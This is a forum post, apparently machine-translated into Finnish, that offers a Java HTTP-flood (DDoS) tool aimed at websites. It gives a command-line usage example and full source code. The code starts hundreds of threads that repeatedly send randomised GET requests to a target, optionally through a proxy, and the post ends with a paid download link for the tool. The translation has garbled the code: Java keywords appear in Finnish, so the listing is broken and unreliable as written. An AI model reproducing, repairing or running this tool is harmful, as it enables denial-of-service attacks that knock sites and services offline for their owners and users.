|
|
Julkaistu 1.12.2014 15.21.57
|
|
|

JAR-koodi dDOS-hyökkäys toteutettu Javalla. Se ei kuitenkaan eroa perinteisistä dDos-malleista. Tämä ohjelmisto on DDOS-hyökkäys sivulle. Näin käytetään: java -jar ccddos.jar www.xxx.com 80 10 /index.do käyttäjänimi=xxx 80
[mw_shl_code=java,true]tuo java.io.IOException; tuo java.net.ConnectException; tuo java.net.InetSocketAddress; tuo java.nio.ByteBuffer; tuo java.nio.channels.SelectionKey; tuo java.nio.channels.Selector; tuo java.nio.channels.SocketChannel; tuo java.util.Iterator; tuo java.util.Random; tuo java.util.Set; tuo java.util.Timer; tuo java.util.TimerTask; tuo java.util.Vector;
/** * Daemon-langat
* * @author hallinto
* */ Julkisen luokan testi { yksityinen String-isäntä, uri, param; yksityinen int portti; yksityinen loppuvektori<CCDDOSThread> v = uusi <CCDDOSThread>vektori(); yksityinen InetSocketAddress isa; yksityiset int threadsCount = 500; Säikeiden määrä yksityinen satunnainen r = uusi satunnainen(); yksityinen pitkä aikalisä = 5000l;
/** * Avaa hyökkäys */ julkinen void start() { kun (int i = 0; i < threadsCount; i++) { CCDDOSThread t = uusi CCDDOSThread(); v.add(t); t.start();
} Ajastin t = uusi ajastin(); t.schedule(new TimerTask() { julkinen void run() { int count = 0, timeout-ketjut = 0; long ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = nolla; count++; } muuten jos (ct - th.start > aikalisä) { Aikalisä, ulkoinen loppu timeoutthreads++; th.setCancle (tosi); th.interrupt(); it.remove(); th = nolla; count++; } } if (count == 0) { paluu; } System.out.println("Säie on suljettu:"+count+", missä aikakatkaisusäie on yhdistetty:" + timeout-ketjut); kun (int i = 0; Minä < laskemaan; i++) { CCDDOSThread th = uusi CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Daemon-säie käynnistetty:"); }
/** * @param args */ public static void main(String[] args) { if (args.length < 6) { system.out.println ("Ohjeet:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } muuten jos (args.length >= 8) { Järjestely agentin kanssa System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
testi m = uusi testi(); m.host = args[0]; m.port = kokonaisluku.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = kokonaisluku.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = uusi InetSocketAddress (m.host, m.port); m.start(); }
/** * Hyökkäyslangat * * @author zhanghongbo * */ class CCDDOSThread laajentaa Thread { yksityinen Boolen cancle = epätosi; public long start = System.currentTimeMillis();
public void setCancle(boolean-cancle) { this.cancle = cancle; }
public boolean isCancle() { paluucancle; }
julkinen void run() { pitkä aloitus = System.currentTimeMillis(); Valitsimen valitsin; kokeile { selector = Selector.open(); SocketChannel sc; kokeile { sc = SocketChannel.open(isa); } catch (esim. ConnectException) { System.out.println(esim. getMessage()); cancle = tosi; selector.close(); paluu; }
sc.configureBlocking(väärin); sc.register(valitsija, SelectionKey.OP_WRITE | SelectionKey.OP_READ); odota: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - start > aikakatkaisu) { cancle = tosi; tauko, odota; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - start > aikakatkaisu) { cancle = tosi; tauko, odota; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { String head = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Yhteys: lähellä\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} kiinniotto (IOException ex) { cancle = tosi; } } }
} [/mw_shl_code]
Valmis tuote ja lähdekoodin lataus:
java ddos.zip
(8.42 KB, Latausten määrä: 0, Myyntihinta: 2 Grain MB)
|
Edellinen:Puhutaanpa historian suurimmasta 400G mystisestä DDoS-hyökkäyksestäSeuraava:Lähetä iPhone 6 keskustelemaan artefaktin murtumattomasta versiosta, jossa ei ole pisteitä
|